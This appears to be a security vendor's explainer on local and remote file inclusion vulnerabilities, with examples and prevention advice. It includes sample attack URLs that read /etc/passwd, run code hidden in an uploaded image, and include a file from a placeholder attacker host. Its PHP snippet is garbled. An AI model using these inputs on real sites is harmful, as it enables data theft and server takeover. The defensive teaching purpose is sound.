The file inclusion vulnerability may be present whenever a web application allows users to provide input used as code by the target application. Therefore, this vulnerability is most commonly found in web applications that use scripting run time.
Keep reading to learn more about the file inclusion vulnerability, its different types, and how to prevent it.
File Inclusion Security Assessment
CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/CR:H/IR:H/AR:H/MAV:N /MAC:L/MPR:N/MUI:N/MS:U/MC:H/MI:H/MA:H
Types of file inclusion
Exploiting a file inclusion vulnerability is possible when an application allows user input to act as a command (also known as dynamic file inclusion). When this happens, an attacker may direct the application to build a path toward a file that contains malicious code and execute the file. Alternatively, it may allow attackers to access files on the server and steal sensitive data contained in them.
Programming languages under which file inclusion vulnerabilities frequently occur are PHP, JavaServer Pages (JSP), and Server Side Includes (SSI).
This vulnerability is part of the more general injection vulnerability in the OWASP Top 10 vulnerability list. An attack that uses this vulnerability can potentially lead to cross-site scripting (XSS), directory traversal, and remote code execution.
A file inclusion exploit arises from using the “include” statement or a similar filesystem functionality, such as the “require” statement. Developers typically utilize this functionality for several reasons.
- When specifying files to be parsed by the interpreter: to open a particular file containing code, its path must be specified so it will be parsed and interpreted.
- When printing to a page: to save time and avoid recoding, developers will sometimes reuse certain portions of code, such as headers. In addition, it allows them to specify a file from which contents should be copied and used in the file that contains the include statement.
- When including files that users will download: to make files available for download, instead of being opened in the web browser, a specific header is included in the request.
In any of the above cases, if user input is not handled correctly, it can open the door for attackers to include malicious code or gain access to sensitive data.
Attackers exploit two significant file types inclusion vulnerabilities: local file inclusion (LFI) and remote file inclusion (RFI). Here’s how they work.
Local File Inclusion
An LFI vulnerability allows attackers to access or execute files hosted locally on the application server. This is possible in applications that allow the path to a file on the server to be used as user input and do not sanitize such input.
Attackers can then use the file and the “include” functionality to expose its contents or run its code. If the server runs with high privileges, it may expose sensitive data files, such as authentication details.
In some instances, applications may allow users to upload unauthorized files, allowing attackers to upload a file that contains malicious code, such as a web shell. Taken together with the inclusion vulnerability, this opens the door for attackers to execute such code if they know the path to their file.
Remote File Inclusion
The remote file inclusion (RFI) vulnerability is made possible by applications that dynamically reference external files or scripts without proper sanitization. By exploiting the vulnerability, an attacker forces the server to download and execute arbitrary files that are located remotely that can open backdoor shells.
These can lead to data being stolen or damaged, websites being defaced and having malware installed, or a full-server compromise and takeover.
What are the differences between LFI and RFI?
In essence, LFI and RFI exploits utilize the same strategy and rely on the same type of vulnerability.
The main difference between these two types of vulnerabilities is that when exploiting the LFI vector, attackers will target local file inclusion functions that do not perform proper validation of user-provided input parameters. When the RFI vector is controlled, attackers will use referencing functions that allow for remote file paths to be provided.
LFI attack example
There are different ways to demonstrate what an LFI may look like. One of the simplest examples of local file inclusion is the simple change or a URL that goes by without filtering. For example, say you have this URL:
https://your-website.com/?module=info.php
If user input is not sanitized correctly, an attacker can edit the URL to something like this:
https://your-website.com/?module=/etc/passwd
If the server has a file inclusion vulnerability, it will simply proceed to display the contents of the requested password file. In the same way, using characters like “/,” An attacker can traverse directories (also known as path traversal) to get to other files in the system, such as server log files.
Alternatively, if the server allows files to be uploaded but does not correctly check them, a user could upload something like an image that contains code. They would then provide it as input for the parser, making it run the code. An example of this could be:
https://your-website.com/?module=uploads/avatar111.gif
RFI attack example
Default server configurations and statements can make PHP scripts vulnerable to RFI exploits. Once an attacker spots code that allows for remote file inclusion based on user input, they can exploit this to include an external file.
For example, in the following instance, the “testfile” value is open to user input:
www.your-website.com/abc.php?testfile=example
If the instructions in the code feature an include statement, such as:
$test = $_REQUEST[“testfile”]; Include($.”.php”);The result would be that an attacker can exploit this instance to include a remote malicious file parameter. This could look like this:
www.your-website.com/abc.php?test=http://www.attacker-website.com/malicious_page
This would include the “malicious_page” in the vulnerable page “abc,” which would execute it whenever the latter is accessed.
How to prevent LFI and RFI?
You can approach mitigating LFI and preventing RFI exploits in many ways. Proper input validation and sanitization play a part in this, but it is a misconception that this is enough. Ideally, you would best implement the following measures to prevent file inclusion attacks best.
- Sanitize user-supplied inputs, including GET/POST and URL parameters, cookie values, and HTTP header values. Apply validation on the server side, not on the client side.
- Assign IDs to every file path and save them in a secure database to prevent users from viewing or altering the path.
- Whitelist verified and secured files and file types, checked file paths against this list, and ignored everything else. Don’t rely on blacklist validation, as attackers can evade it.
- Use a database for files that can be compromised instead of storing them on the server.
- Restrict execution permissions for upload directories as well as upload file sizes.
- Improve server instructions such as sending download headers automatically instead of executing files in a specified directory.
- Avoid directory traversal by limiting the API to allow file inclusions only from a specific directory.
- Run tests to determine if your code is vulnerable to file inclusion exploits.
Try out automated Local File Inclusion vulnerability scanner
FAQs
What are file inclusion vulnerabilities?
Whether local or remote, file inclusion vulnerabilities arise due to “include” or “require” statements that allow for unvalidated user input to be provided. These statements are necessary and valuable, but they create vulnerabilities when they are not secured. To exploit them, attackers must find the location of the vulnerability exposure and provide malicious input to be executed.
What is the impact of a file inclusion vulnerability exploit?
At its most basic, exploiting this vulnerability may lead to sensitive data exposure, such as authentication details or server logs, being exposed and stolen. They may also lead to a website being hijacked with malware or defaced, ultimately to an entire server compromise and takeover. Additionally, attacks such as remote code execution, cross-site scripting, and others are possible with such vulnerabilities.
